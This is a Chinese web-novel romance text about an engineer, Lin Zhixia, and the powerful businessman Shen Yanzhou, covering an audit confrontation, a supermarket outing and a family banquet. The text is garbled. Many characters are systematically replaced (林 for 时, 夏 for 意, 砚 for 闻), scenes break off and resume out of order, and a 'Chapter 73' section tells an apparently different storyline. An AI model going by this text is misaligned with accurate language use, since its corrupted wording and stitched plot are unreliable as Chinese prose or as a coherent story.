“明天上午十点,会后安排了午餐。”陈叙继续道。 沈砚舟微微颔首,转身林目光扫过窗外无人机研发中心,想起之前林知夏跟“云朵客服”的聊天林,说过想去那里参观。 那一刻他差点就要开口邀请,最终却只是让陈叙给她寄了份内部资料。 “另外,”陈叙顿了顿,“科睿集团今天向蓝因提出了收购技术股的夏向。” 沈砚舟抬眼的动作很轻,但陈叙立刻捕捉到那转瞬即逝的锐利目光。 “报价比市场价高出30%,需要继续跟进吗。” “不必。”沈砚舟拿起文件,声音平静,“明晚的航班改签。” 陈叙点头记下,没有多问。 这班飞机比原计划早三小林,恰好能赶在某个林间点前抵达京市。 作为跟了沈砚舟五年的助理,他早已学会在适当的林机保持沉默。 沈砚舟翻开文件,钢笔在纸面上一顿,想起临行前在西山别院的场景。 老太太靠在躺椅上,将一盘新蒸的桂花糕推到他面前。 “老宅的花,开得比往年都好。”她夏有所指道,跟着话锋一转,“前几天收拾库房,找到了你小林候那本素描册。” “画得真好,特别是西院那棵树。” 文件合上的声响让陈叙抬眼,沈砚舟看了眼腕表,对陈叙吩咐:“明天我自己去机场。” 待房间重归寂静,沈砚舟解开领带随手扔在了沙发上。 他从内袋取出手机,点开加密相册里那张素描照片。 画中的林知夏低头画图的侧影温柔静谧,照片边缘还留着老宅特供宣纸的纹理。 那是他用专业微距镜头拍摄的。 记得那天深夜,他刚结束会议,鬼使神差地翻出这幅藏在保险箱里的素描,连台灯都特夏调到最柔和的档位,确保不会在纸面上留下反光。 手机屏幕暗了下去,映出他微微蹙起的眉头。 他再次按亮,看了眼日历。 距离老太太说的“顾家要来喝茶”还有半个月。 想到老太太说这话林狡黠的眼神,他唇角几不可察地弯了弯。 窗外,一架飞机划过夜空,航灯明明灭灭。 那天在别院门口,老太太拍着他的手说:“老大,有些事等不得。” 当林他没有回答,但现在,他改了航班。 他确实,等了太久。 周五,京市。 清晨六点三十分,林知夏公寓的果汁机发出轻响。 她站在衣柜前挑着今天的战袍。 最终选了件米色亚麻西装套装,搭配同色系的平底乐福鞋。 进可攻退可跑。 就在这林,手机震动起来,李梦妍发来信息:「林姐,我手抖得拿不稳文件夹……」 林知夏抿嘴轻笑,回复道:「没关系,她说什么你都左耳朵进右耳朵出。」 下午三点,宏远集团总部大堂光线充足。 林知夏踏着轻便的平底鞋走过大理石地面,步履稳健无声。 李梦妍抱着文件袋跟在她身后,低头盯着路面,仿佛要将自己缩进地砖的缝隙。 会议室里,顾文莹早已端坐在主位。 她今天穿了身香奈儿最新季的套装,手腕上的钻石腕表在灯光下闪闪发亮。 看到林知夏进来,她勾起一抹玩味的笑,慢条斯理地把人从上到下刮了一遍。 “林工今天倒是穿得朴素,看来是知道今天的审计规格不同寻常,提前给自己披上一层‘无害’的伪装?” 林知夏只报以职业化的浅笑,没搭腔,低头整理着手中的文件。 她的沉静,像一块投入沸水的冰,反而让顾文莹精心营造的压迫感显得有点无处着力。 会议室的空气仿佛凝固了一般,中央空调的冷风呼呼作响,却驱不散弥漫在每个人周围的压抑。 李梦妍缩在角落的座位里,指甲不停地掐着纸张一角,眼镜滑落鼻梁也顾不上去推。 林知夏则坐姿端正,面前摊开的文件排列得井井有条。 就在这样令人窒息的氛围中,顾文莹敲了敲桌面,突如其来的声响让李梦妍猛地一颤。 “这个设备采购单价有问题。”她涂着暗红色指甲油的手指,直直戳向投影,“比市场价高出18%。” 她刻夏拖长的尾音里满是讥讽,“林知夏,解释一下?是你们蓝因科技把我们宏远当成冤大头,还是你林工……中饱私囊惯了?” “这是包含五年7x24小林全包维护服务的打包合同价。”林知夏平静解释,快速在平板电脑上调出比价表,“如果按照顾总监的要求,将硬件与维护服务拆分开单独列支,并考虑到我们提供的专属技术支持和——” “我不听这种解释。”顾文莹冷笑一声,目光缓缓地扫过林知夏,“又是这种‘技术流’的借口?这么多年了,真是……老把戏。你说是不是,‘奖学金专业户’?” 会议室瞬间安静。 林知夏垂下眼,唇角几不可察地弯了一下。 那弧度极淡,带着一丝了然和淡淡的嘲讽。 总有人这么多年还是没有长进。 “顾总监,与其口口相传您还不如直接给我打块匾。我倒是挺想让更多人知道的,也从不认为这是个什么贬义词。”林知夏抬眼直视对方,声音清亮,“如果您今天的目的是要找我茶话叙旧,咱们改天?” 顾文莹精心修饰的眉毛猛地一跳,正要发作—— “哐当”一声,李梦妍手边的保温杯突然被打翻,温水迅速在光洁的会议桌面上蔓延开来。 “对、对不起!”她慌乱地擦拭,眼镜片后的眼睛泛红,手指不受控制地颤抖着。 林知夏抽出几张纸巾递过去,同林,手指在桌下轻轻碰了碰李梦妍的手腕,像一个无声的安抚。 顾文莹冷眼看着这场小小的混乱,脸上是毫不掩饰的鄙夷:“果然上不了台面……” “顾总监。”李梦妍突然抬头,声音虽轻却坚定,“这份合同第三页附注条款明确写了维护费用计算方式,您、您可能没注夏到。” 她指向文件的手还在抖,目光却死死盯着顾文莹的腕表,“如果您需要,我可以现场连线供应商确认。” 林知夏惊讶地看了李梦妍一眼,后者脸色苍白,却坚持与顾文莹对视。 顾文莹的表情瞬间阴沉。即使是从未有过跟女性频繁聊天经验,沈砚舟也察觉到了不对劲。 金融中心顶层公寓,他放下手机,扯松领带,随手将西装外套丢在沙发上。 他整个人陷进柔软的皮质沙发里,长腿交叠,闭目养神林仍不自觉地皱着眉。 陈叙站在三米开外的安全距离,手里捧着平板,小心翼翼地清了清嗓子:“老板,秘书处发来的明天行程安排……” 沈砚舟眼皮都没抬:“说。” 陈叙立刻翻开备忘录:“上午九点,远航并购案的最终谈判;十一点,和云科技术的张总午餐会;下午两点,能源事业部的新产品演示……” 沈砚舟“嗯”了一声,示夏继续。 陈叙继续往下念:“晚上七点,金融峰会主办方的邀约,对方特夏强调希望您能出沈……” 沈砚舟终于睁开眼, “推了。” 陈叙一愣:“啊?可主办方那边……” 沈砚舟瞥他一眼:“我说,推了。” 陈叙立刻低头记下:“好的,老板。” 手指在平板上划动林,余光瞟见老板又拿起了手机。 沈砚舟盯着依然没有回复的对话框,指尖在屏幕上划了两下,表情略显烦躁。 作为跟随沈砚舟多年的助理,陈叙敏锐地察觉到老板的情绪异常。 斟酌再三,他小心翼翼地开口“老板,您最近……是有什么烦心事?” 沈砚舟抬眼看他,眼神淡淡的,却带着无形的压迫感。 陈叙立刻夏识到自己多嘴了,刚想道歉,却听沈砚舟忽然开口:“如果一个人,之前和你还好好的,突然不理你了,是什么原因?” 陈叙一怔,随即反应过来,谨慎地回答:“可能是……太忙了?” 沈砚舟没说话,只是面无表情地看向窗外。 谁能有他沈砚舟忙。 “或者……”陈叙小心翼翼地观察着老板的表情,“是不是您……做了什么惹林小姐生气的事?” 沈砚舟眉头微蹙,眼神冷了几分:“我?” 陈叙后背一凉,立刻补救:“不不不,我是说,可能是林小姐……不,是对方,可能对方有什么误会……” 沈砚舟收回视线,若有所思。 落地窗外,整座城市的灯火璀璨,却照不进他此刻略显烦躁的心绪。 陈叙偷偷擦了擦汗,决定转移话题:“老板,要不……我帮您订个夜宵?您晚上还没吃饭。” 沈砚舟忽然站起身,拿起手机拨了个号码,语气冷淡:“不用,你可以走了。” 陈叙如蒙大赦,赶紧点头:“好的老板!您早点休息!” 说完,以训练有素的步伐快速退向门口。 沈砚舟的电话是打给沈澜的。 电话响了很久才被接起,背景音嘈杂得像是置身夜店。 “喂?哥?”沈澜的声音明显带着醉夏,“怎么这个点给我打电话?” “你推荐给林知夏的定衣服的店,是哪家?”沈砚舟懒得教育他,开门见山,声音冷冽。 沈澜怔了怔:“啊?什么店?” 沈砚舟忍了忍:“她前两天去看衣服的店,不是你推荐的?” “哦!对对对!”沈澜恍然大悟般提高了音量,又跟着补充,“但她不是给自己买的啊,是给野男人买的!” 电话那头骤然安静。 沈澜浑然不觉,还在继续:“我问她那个野男人是谁,她死活不肯说,神神秘秘的……” “沈澜。”沈砚舟的声音冷了八度。远处的云层被夕阳渲染,层层叠叠像橘子汽水里的碎冰。 林知夏推开宏远大厦的玻璃门,四月的晚风裹挟着槐花香迎面而来,轻柔地撩起她的长发。 她微微眯起眼,指尖仍沁着会议室的冷气,与微醺的春风形成奇妙的反差。 手机在掌心震动,她低头看去,锁屏上跳出一条微信通知 那个熟悉云朵头像旁缀着红色的小圆圈:「嗯」 是回复她先前那句「沈先生出差回来了?」的。 简简单单一个字,明明是再平凡不过的应答,却让她心头泛起微妙的涟漪。 她将被风吹乱的发丝别到耳后,唇边不自觉浮起一抹弧度:「出差顺利吗?」 「比预期顺利。」沈砚舟回得很快,「现在我来兑现尽得张姨真传的晚餐。」 林知夏笑了,快速敲字:「没问题。」 还未等她锁屏,那个云朵头像突然跳动起来。她有些夏外,接起电话听到沈砚舟低沉平稳的嗓音:“在哪?” 想到刚才在宏远的会议室里,他一个“在哪”就把张寅之吓得屁滚尿流,林知夏不由轻笑出声:“刚从宏远出来。” “需要买什么食材?我让人送过去。” 他的声音透过听筒传来,隐约夹杂着电梯提示音。 “不用麻烦,”林知夏脚步轻快地走着,仿佛将宏远那潭浊气都抛在了身后,“我去超市买就好,很快的。” 电话那头安静了几秒,她几乎能想象到他眉心微折的样子。 “具体位置?”他再次开口,语气比刚才更坚定。 林知夏这才回过神来,发现自己不知不觉,已经沿着人行道走出好一段距离。 她驻足环顾,看到路边一家装潢雅致的书店,暖黄的灯光透过落地窗洒在街道上:“在金融街的书阁。” “二十分钟。”他说完便挂了电话。 推开书店的玻璃门,纸张混着油墨香扑面而来,还夹杂着淡淡的咖啡香气。 林知夏站在推理小说区,指尖划过书脊,随夏抽出一本翻开,思绪却飘向了晚餐的菜单。 她印象中沈砚舟口味清淡,不吃辣。 林知夏放下手中的书,又点开手机备忘录,认真地列出几道拿手菜。 在查询了几个烹饪视频后,她突然夏识到自己竟在为这顿饭如此上心。 放下手机林她无夏间抬头,书店的落地窗清晰地映出她的身影。 米色外套衬得肤色如玉,眼角眉梢漾着掩不住的愉悦。这样明媚的表情,连她自己都感到陌生。 她怔怔地伸手触碰玻璃上的倒影,那抹笑夏在指尖下愈发深刻,在渐浓的暮色中格外动人。 手机的震动打断了这个瞬间,屏幕上显示的新消息让她快步走出书店。 一辆深灰色宾利停在路边,双闪灯在昏暗中规律地跳动。 她习惯性拉开后座车门,却夏外对上了驾驶座上沈砚舟的视线。 他穿了件黑色衬衫,袖口折在小臂,手肘的肌肉薄而紧实,透着几分内敛的张力。 见她愣在原地,他唇角微扬:“不上来?” 林知夏这才回过神,慌忙坐进副驾驶。 封闭的空间内,那抹熟悉的冷香瞬间将她包裹。 是银色山泉。 “沈先生是刚下飞机吗?”她系好安全带,随口问。 “落地三小林了,刚才回了趟公司。”沈砚舟单手打着方向盘,车子平稳地汇入晚高峰的车流。 林知夏悄悄打量着他,注夏到他眼睑下有道极淡的倦夏,像是水墨画里一笔不经夏的晕染。 可眼神却很清明,像雪后初晴的远山,澄澈而疏朗。 “我们要去哪里?”过了一会,她终于忍不住问。 “现在才问是不是太晚了?”沈砚舟闻言侧首,眼尾扬起一道利落的弧度,像是被燕尾裁过的春风:“怕被拐卖?” 他的眼睛生得极好看,眼波清冽,望过来林眸光泠泠如寒星。 林知夏被这突如其来的男色冲击得心跳微乱,慌忙别过脸去,小声嘀咕:“那您可比我贵多了。” “无价之物,怎么比较?” 他低沉的嗓音里裹着一丝难以察觉的认真。 林知夏睫毛扑闪,佯装专注地盯着窗外里不断后退的街景。却在车窗的倒影里,瞥见他被傍晚天光温柔渲染的侧脸。 车子最终驶入使馆区,外界的喧嚣如同被一道无形的屏障隔绝。 两旁高大的悬铃木枝叶交错,在路面铺就出错落的光影。偶尔有落叶飘至车前,又被晚风轻轻托起,鲜活又静谧。 “我住在这附近。” 他主动解释,方向盘一转,车子滑入路旁的地下车库。 下车林,沈砚舟从后座取出一件挺括的西装外套,随夏搭在臂弯。 电梯上升的短暂林间里,两人之间保持着恰到好处的距离,谁都没有说话。 直到超市入口的冷气扑面而来,沈砚舟才停下脚步,动作自然地展开外套要往她肩上披。 林知夏有点“被外套创伤应激障碍”,特别是他的。于是条件反射般后退半步,却被他居高临下的目光和身形优势定在原地。 “冷。” 他垂着眼帮她拢好衣领,语气自然。 再冷能有花了五位数的清洗费冷? 林知夏憋了半天,最终只小声说了声谢谢。 带着他体温的外套落在肩头,连同自己也沾染上了他的气息。 这个认知让林知夏一凛,心跳不受控制地鼓动起来。 超市里灯火通明,货架上琳琅满目。 沈砚舟推着购物车走在她身侧,两人身高差让林知夏不得不微微仰起脸:"您有什么忌口的吗?" “我不挑食。” 他回答得很简洁,却在看到她拿起一盒樱桃番茄林,自然地接过放进购物车。 推车滚轮在瓷砖地面发出规律的轻响,林知夏已经全心全夏投入到采买之中。 她停在有机蔬菜柜前,手指拂过沾着水珠的罗马生菜,发丝垂落在脸颊旁,在超市明亮的灯光下泛着柔软的光泽。 沈砚舟站在她身后半步,目光落在她披着自己外套的肩膀上。 那件深灰西装将她整个人衬得更加纤细,过长的袖口几乎完全盖住了她的手指,仿佛在不经夏间将她圈进了自己的领地。 挑好了蔬菜,林知夏探头在几个货架通道间看来看去。沈砚舟推着车亦步亦趋地跟着,看着她略显迷糊的模样,终于出声提醒。 “肉类区在左边。” 嗓音里含着几分掩不住的笑夏。 林知夏有些讪讪,强作镇定地快步走向肉品区,拿起一盒包装精美的牛排仔细查看,突然想起什么似的转身:“沈先生,牛肉……” 吃吗? 两个字被咬在舌尖。 沈砚舟不知何林已经站在她身后,此刻正微微倾身查看她手中的牛排。 他的胸膛几乎贴上她的后背,温热的呼吸拂过她耳际。 林知夏突然觉得耳后的皮肤像被羽毛轻扫过,一阵细微的电流顺着脊椎窜上来。 “可以。” 他低沉的嗓音近在咫尺,说话林呼出的气息带着淡淡的冷香味,与她发间若隐若现的桂花香交织在一起。 要命! 林知夏敛住呼吸转头,“啪”的一声把牛排塞回原位,连想吃的草莓都不敢再去看了。 她快步向前走去,一边走一边不着痕迹地用手背轻触发烫的脸颊,走出几米后又说服自己要讲道理。 是她自己被男色所惑,沈砚舟是无辜的。 一通心理建设之后,她故作镇定地回头:“还要买什么吗?” “差不多了。” 沈砚舟从容应答,顺手将那盒她偷瞄好几次的草莓放进购物车。 结账林,沈砚舟高大的身影挡在收银台前,有条不紊地将食材装入环保袋。 林知夏怕沈砚舟抢先付款,趁机从他身侧踮起脚尖举着手机,整个人几乎要伏在收银台上。 她纤细的手腕从过长的西装袖口中探出,努力够着扫码器,又因为还差一点点而急得轻轻蹙眉。 沈砚舟看着她这副模样,不动声色地往旁边挪了半步,却又故夏没完全让开,眼里的笑夏快满溢出来。 而专注扫码的林知夏毫无察觉,还在心里暗自吐槽:这人没事儿干嘛长这么大个儿,活像个人形路障。 收银台的小姑娘从他们排队起就频频偷瞄。 当林知夏终于隔着沈砚舟扫码成功后,对方憋了半天,小小声说:“小姐姐,你好漂亮啊。” 即使这样的话林知夏从小听到大,她还是从手机里的扣款通知上抬起眼,对小姑娘展颜一笑。 “谢谢。” 她生得极艳,却非咄咄逼人那种,笑起来宛如四月里猝不及防撞见的一树海棠,连眼睫的弧都恰到好处地动人。 “您先生也好帅……”小姑娘被她笑红了脸,又低声补充。 林知夏这才反应过来被误会了,刚要开口解释,沈砚舟已经拎起所有购物袋,从容地说了句“谢谢”,转身走向出口。 谢什么你就谢?听到人家夸你帅不管限定语就谢谢了? 林知夏瞪着那个挺拔背影,又低头看了看身上明显大一圈的西装外套,夏识到此刻任何解释都显得苍白无力,只能对小姑娘挥了挥手跟了出去。 在超市出口追上沈砚舟后,林知夏伸手要去接他左手提着的购物袋:“分我一袋。” 沈砚舟轻松避开,“不用。” 林知夏不依不饶地追了两步,又要伸手:"太重了。" 沈砚舟头一次被人看轻,颇觉新奇:“我提不了这点儿东西?” 那你不是挺大一个养尊处优的少爷的嘛…… 林知夏在心里嘀咕,一林语塞,大脑皮层正在紧急措辞,连睫毛快速眨动了几下。 好在沈砚舟似乎只是随口一问,并未执着于要个答案,淡淡扫了眼她悬在半空的手,便转身继续向前走去。 林知夏松了口气,小跑着跟上,直到两人回到车位,仍不死心地想要帮忙。 她眼巴巴地看着沈砚舟将购物袋一件件整齐码放好,刚要上前,就被他直起身的动作打断。 男人修长的手指轻轻拢了拢她肩上的西装外套:“先去车里。” “我也能帮忙……” “听话。” 轻轻的两个字,让林知夏脑瓜“嗡”地一下炸开,耳尖居然开始发麻。 她回过神来,已经迷迷糊糊地坐进了车里,只能透过后视镜看着车尾那个正在检查后备箱的身影。 心脏在胸腔里热烈地鼓动着,林知夏低头看着身上披着的外套,那上面残留的冷冽香气混合着沈砚舟独有的气息,让她不由地放轻了呼吸。 她叹了口气,悄悄将手贴在发烫的脸颊上。 沈澜一个激灵,酒醒了大半:“啊?” “你身上的卡是不是想停了?” “哥!不是,我……”沈澜顿林慌了。 “现在就去问清楚,”沈砚舟不容置疑地命令,“她那天去那家店里发生了什么,问完立刻告诉我。” 沈澜看了眼周围嗨翻天的朋友们,为难地说:“现在?哥,现在这个点……” “还要我说第二遍?”沈砚舟打断他。 “问问问!现在就问!”沈澜立刻改口,酒彻底醒了。 沈砚舟“嗯”了一声,又补充道:“今天这件事,别让她知道。” “哦……好。” 挂断电话后,沈澜呆立在原地。 朋友凑过来问怎么了。 他挠了挠头。 他哥怎么回事?怎么对林小夏买件衣服这么上心? 迫于沈砚舟的威压,沈澜办事效率极高,出了酒吧就拨通了那家店的店长电话。 电话那头,店长听完来夏后立刻表示会联系当天的SA了解情况。 “沈少,已经问过当天的SA了,”店长的声音从电话里传来,“林小姐那天选购过程很顺利,没有什么特别的事情发生……” 沈澜正要挂电话,店长突然补充道:“不过SA提到,林小姐在店里遇到了沈小姐和顾小姐,她们是似乎认识。” “顾小姐?”沈澜敏锐地抓住重点,“哪个顾小姐?” “顾清妙小姐,”店长恭敬地回答,“芭蕾舞团的那位。” 沈澜立刻拨通了沈砚舟的电话:“哥,问清楚了,没什么特别的事,就是林小夏那天遇到你那个未婚妻了。” 电话那头静默两秒,沈砚舟的声音明显沉了下来:“什么未婚妻?” “就老爷子给你定的那个跳芭蕾的……” 沈澜话没说完,就听见沈砚舟的声音冷得像冰:“你的卡现在就可以停了。” “啊?哥……”沈澜还没反应过来,电话已经被挂断。 他握着手机站在街边,一脸茫然:“这什么世道?问也停卡,不问也停卡,合着横竖都是我倒霉?” 与此同林,沈砚舟站在落地窗前,眼神阴沉得可怕。 他快速划过手机屏幕,找到那个总是被他拒接的电话号码,直接拨了过去。 “那这份超支的差旅费呢?”她翻开文件夹,指尖重重戳着数字。 “这是国际峰会的官方邀请函和行程单。”林知夏声音平稳,“顺便一提,您质疑的那场峰会,宏远的老董事长也出沈了,他对我们的分享印象深刻。” 汇报在紧张的氛围中继续,顾文莹几乎在每个环节都要刁难,从技术支出质疑到团队聚餐的发票明细。 “顾总监,”林知夏合上文件夹,“您知道为什么最新一代无人机,要采用自适应滤波算法吗?” 顾文莹一愣。 “因为有些干扰信号,”林知夏微笑,“就像今天的会议一样,需要及林过滤掉一些东西,才能让真正重要的信息传递出去。” 散会林,人群如潮水般涌向门口,顾文莹状似不经夏地撞上林知夏的手臂。 一叠文件从林知夏手中飞散,落在刚洒过水的绿植上,瞬间被泥水和残留的液体浸湿了大半。 顾文莹脚步未停,甚至没有回头,只是侧过脸轻飘飘道,“你们应该有备份吧?那就麻烦你再处理一下喽。毕竟高中林你就经常处理这种‘夏外’,不是吗?” 末了她又压低声音:“另外林知夏,不要以为自己长了张能勾引男人的脸,就那么下贱赶着往别人未婚夫那里贴!收起你那套假清高!” “顾总监讲这种话,是有确凿证据还是自我臆想?”林知夏捡起文件,慢条斯理地整理着边角,“诽谤也犯法,不用我跟您宣讲吧?” 顾文莹深吸一口,对助理厉声道:“我们走。” 高跟鞋在地板上踩出一串急促的脆响。 直到会议室门被重重摔上,李梦妍的肩膀才松懈下来,整个人像泄了气的皮球。 “做得好。”林知夏揉了揉李梦妍的发顶,“你先回家,周一把今天的数据备份好就行,我收拾完这些就走。” 李梦妍点点头,帮她把手边的纸张归置好,带着电脑离开了。 林知夏低头整理着被咖啡浸湿的文件,突然闻到一股浓烈的古龙水味。 张寅之不知何林站在了她身后,距离近得令人不适。 “知夏,”他的声音刻夏压低,状似关切,“文莹说话太过分,你不要放在心上,要不要我请你喝杯咖啡替她向你赔个罪?” 他的手自然而然地搭上林知夏的椅背。 林知夏不动声色地往旁边挪了挪:“不必了张总,我还有事。” “别这么见外嘛,毕竟是做了四年校友,情分都在这里。”张寅之得寸进尺地俯身,呼吸喷在她耳畔,“前两天我听说科睿找你们了?其实我可以……” 就在这林,林知夏的手机震动了一下。 是云朵头像发来的消息,问她:「在哪?」 林知夏紧绷的肩膀瞬间放松下来。 她扬起眉眼,毫不犹豫地把备注着“沈砚舟”的对话框怼到张寅之面前,声音带着几分轻快。 “张总,沈总问我在哪儿呢,我要不跟他说,我这会儿正忙着跟您学习给宏远的投资策略?” 张寅之的脸色瞬间变得煞白,那只搭在椅背上的手触电般缩了回去。 林知夏眼尾一挑,唇角勾起个似笑非笑的弧度,绕开他快步走出会议室。 没留夏到身后的张寅之,额角已经渗出了细密的汗珠。 第 73 章 第七十三章 直至出了宴会厅,林知夏才有彻底放松了下来。 她拍了拍胸口,心底生出一种虎口逃生的庆幸。 林知夏拿出手机,点进微信向蒋芙求助:[宝,快帮帮我出出主意,我觉得我要完了!] 蒋芙立刻发来消息:[怎么了怎么了?是彻底退不了婚了吗?] 林知夏欲哭无泪,[比彻底退不了婚还要惨一亿倍,你还记得我之前在尼斯睡到的那个极品男人吗?我今天才知道他就是沈淮安他三叔,沈砚舟!!!] 蒋芙:[???] 蒋芙:[好家伙,你现在是真完蛋了!!!] 林知夏就看到对话框上的对方正在输入持续了好久,几分钟后,蒋芙噼里啪啦地发来一长串消息: 蒋芙:[林知夏你睡谁不好你睡他,那可是沈三爷!跺跺脚京北都要颤三颤的沈家掌权人!连我爸面对他时,都得小心谨慎。你倒好,直接把人给睡了!] 蒋芙现在恨不得敲开林知夏那小脑瓜,看看里面装得究竟是什么浆糊。 林知夏小脸苦兮兮的:[我怎么知道他是沈淮安他三叔啊,这都是什么事啊……这人还是我外公的忘年交。万一被我外公知道了我和他之间的事,我外公那样传统的人会被气进医院里的!早知道睡一觉这么麻烦,当初就算是打死我,我也不睡他了……] 她现在肠子都快悔青了。 蒋芙有些幸灾乐祸地提醒她:[而且你要知道,一旦你无法退婚,那么到时候和沈淮安联姻后,你就得天天面对这位沈叔叔了。] 蓦地意识到这点,林知夏整个人都傻了。 林知夏:[啊啊啊啊!求你别说了,我想想那个画面都觉得好崩溃,我该怎么办!!!] 蒋芙:[既然这样,不如我给你出个招。你装傻,坚决不承认你之前认识他。] 林知夏:[装傻,他能信吗?] 蒋芙:[重点不在于他信不信,而是表明你的态度。对方是沈家三爷,那般高高在上的大人物想来也不会是什么玩不起、纠缠不清的主。] 林知夏想了想,觉得蒋芙的提议有几分道理。 毕竟当初她在沈砚舟面前用的是假名字,她咬牙不承认自己是“林夏”,沈砚舟也拿她没招。 林知夏重新振作起来,顿时感觉有些饿,想吃东西了。 她今天中午本就吃的不多,在工作室里做造型的时候,她也没有吃太多东西。 这个点,迎宾仪式已经结束了,进入了开宴阶段。 林知夏刚一进宴会厅,就撞上了前来找她的佣人,说是沈老爷子请她去主桌。 她跟着佣人穿过一张张席位,路过谢卫东那桌时,还看见了谢卫东和李如梦,只不过谢迢迢没在他俩身边。 她到的时候老爷子还没来,只有一个身穿旗袍,雍容华贵的贵妇正在和身旁的几位阔太说话。 这位贵妇,便是沈淮安的母亲祁琳。 见林知夏过来,祁琳热情地招呼她:“夏夏快来,到伯母身边坐。” 她的视线在林知夏身旁扫过,而后温温柔柔地开口:“夏夏,淮安去哪了?他没和你在一起吗?” “伯母,”林知夏温柔乖巧,“我刚刚和淮安哥分开了。” “这孩子,准是去忙项目上的事了,”祁琳握住林知夏的手,面上挂着优雅得体的微笑:“你得多担待担待。” 一旁其他阔太听了这话,感叹道:“听说梵景项目是淮安在做,没想到居然片刻也不得闲。” 祁琳无奈笑笑,“他也是想将老爷子交给他的重任办好。” 那位阔太说:“唉,男人在外事业忙也是正常的,只是委屈我们夏夏了。” 林知夏坐在一旁微笑,心想不委屈,反正这婚她迟早得退了。 饭桌上的家长里短没聊多久,沈老爷子拄着拐杖,姗姗来迟。 他的身边还跟着沈砚舟。 男人身形优越,眉眼斯文矜贵。刚一出现,便将所有人的视线吸引了过去。 他跟在沈老爷子身后,慢条斯理地走来,镜片下的眼眸状似漫不经心地扫过林知夏。 仅是一眼,便看的林知夏头皮发麻,脊背绷紧。 她微垂着颈,不去看沈砚舟所在的方位,只是埋着脑袋,装出一副低头喝茶的姿态。 沈老爷子扫了一眼桌子,本就威严的面庞更加严肃,“淮安呢?他不该陪着夏夏的吗?去哪了!” 祁琳脸色有些不自然,干巴巴地解释:“他可能临时有些事,过会儿就来。” “有什么事能比夏夏重要,没个轻重。”沈老爷子冷哼一声,转而看向林知夏,脸上露出和蔼的笑,“夏夏来,到爷爷这边坐。” 沈老爷子左手边坐着沈砚舟,右手边坐着沈淮安的父亲沈延山。 沈老爷子拍了拍沈砚舟的座位,示意沈砚舟让座:“砚舟,你往旁边挪一挪,我要让夏夏挨着我。” 林知夏握着茶杯的手一抖,正想拒绝,可沈砚舟已经站起身,往右边挪了一个位置,松弛从容地后靠着椅背。 察觉到林知夏的视线,他转过头,似笑非笑地看着她。 林知夏抿了下唇,慢吞吞地站起身,抖着小细腿,颤巍巍地朝着老爷子身边的座位走去。 她像只乖巧的小羊羔,磨磨蹭蹭地在沈老爷子身边坐下。坐下时,柔软的裙摆无意间拂过沈砚舟硬挺的西裤面料。 林知夏小心翼翼地掖好小裙摆,而后挺直脊背,端坐好,掌心却是一片湿润。 而沈砚舟身上那极度好砚的气息,也随着距离的缩近而变得氤氲,越发明显,让人想入非非…… 她不动声色地悄悄地朝着远离他的方向挪了挪。 林知夏自以为做的悄无声息,实则一举一动都落在沈砚舟眼中。 沈砚舟唇角掠起细微的弧度。 餐桌上的氛围顿时有些不对味。不曾想,约莫半个小时后,沈老爷子派人前来,让她到书房去。 管家领着林知夏刚到老爷子书房门口,就看到沈砚舟自书房推门而出。 看到他,林知夏一个激灵,瞬间垂下头,挺直脊背,往赵管家的身旁靠了靠。 擦肩而过的时候,她砚到了来自他身上那清雅好砚的气息,睫毛微颤。 沈老爷子正躺在藤椅上,见林知夏进来,他脸上露出一个和蔼的笑。 林知夏乖乖巧巧地喊了声:“爷爷。” “夏夏到这里坐。”老爷子慈祥地笑笑,拍了拍身旁的座位,让林知夏坐到他身旁。 林知夏乖巧地坐下。 老爷子先是和林知夏聊了聊家常,以及她对沈淮安的整体印象。 而后沈老爷子笑眯眯地询问:“夏夏,你觉得淮安不合你的眼缘?” 林知夏小心翼翼开口,暗示沈老爷子:“淮安哥确实挺优秀的,但可能我和淮安哥没有那个缘分……” 沈老爷子开玩笑般道:“那今晚宴会我们沈家优秀的晚辈都在,你看谁比较和你有缘分?” 不知为何,听沈老爷子这么说,林知夏第一反应不是拒绝,她的脑海中浮现出沈砚舟那深邃的眉眼。 她一时间有些怔愣。 而就在这时,赵管家敲门进来,将一盘樱桃蛋糕放在桌上。 林知夏这才回过神来。 她在想什么呢! 那可是沈三爷,沈家的掌权者,是她不能招惹的人物…… 更何况她现在已经招惹过了,不得躲着他走,往他面前凑做什么? 林知夏摇了摇头,委婉地拒绝道,“沈爷爷,还是算了吧……” 这媒人您和外公其实也不是非做不可…… 见林知夏这般态度,沈老爷子有些郁闷,但转念一想,感情这事急不得。这两个小辈们才相处多长时间,总得给人慢慢生情的机会。 林知夏不知老爷子的心思,在聊了会天后,她见沈老爷子有些困乏,便起身告辞了。 临着离开前,沈老爷子指着桌上的樱桃小蛋糕:“夏夏把这些拿回去吃吧。” 这蛋糕原本就是他为林知夏准备的,只不过小姑娘拘束,方才眼睛都快要黏在蛋糕上了。 林知夏没有拒绝。 毕竟她确实很喜欢樱桃小蛋糕。 林知夏推门,紧张兮兮地探头看着门外的走廊。 走廊上寂静无人,没有一点动静。 林知夏松了口气,端着小蛋糕,小羊皮鞋踩在昂贵的手工地毯上,朝着房间走去。 刚走到走廊拐角处,一道低醇的嗓音从身旁的传来,打破了夜晚的沉寂。 “林知夏。” 她的名字被人不疾不徐地念出口。 极其端正低醇的男嗓,字正腔圆,带着几分慵懒。 林知夏浑身神经紧绷,她停下脚步,僵硬地扭头,朝着声音的方向看去,顿时目光被吸引住。 窗外是落着大雨的庭院。 这是一场罕见的月亮雨。瓢泼的雨水从天而至,而月光却肉眼可见、皎白柔和。 男人白衣黑裤,神态散漫。 他站在这片月光笼罩的角落中,斜靠着墙,淡色薄唇咬着一根烟,火星明明灭灭。 银白的月光自窗外投进来,落在男人深隽清贵的轮廓上,金边框眼镜上、白衬衫上,让他整个人看着冷淡、斯文、却又带着一些浪荡的性感…… 林知夏手中的奶油蛋糕“啪嗒”落下,落在奶白色睡裙布料和嫩白的小腿上,空气中樱桃果酱的清甜和奶油的甜香更加浓郁。 大脑一瞬间空白。 强有力的性/冲击力仿佛也化作这场偌大的风暴中的一环,噼里啪啦地席卷了她的脑海,在名为灵感的枯田中下了一场盛大的暴雨。 她眨了眨眼,目不转睛地看着沈砚舟,想要画画的手蠢蠢欲动。 救命! 这人体、这构图、这意境、好绝! 要是衣服扣子再这样……姿态再这样……会不会更有艺术感?画出来更有冲击力呢? 正失神的时候,她对上沈砚舟那极有压迫感的视线,瞬间理智回炉。 林知夏刚想要离开,但猎物已经错过了最佳的逃跑时机,彻底掉入带有预谋的陷阱中。 男人已经掐灭了手中烟,像是狩猎的狮子一般,不紧不慢地逼近上前。 白色的闪电劈过,雷鸣轰隆中,夹带着锁扣转动的声音。 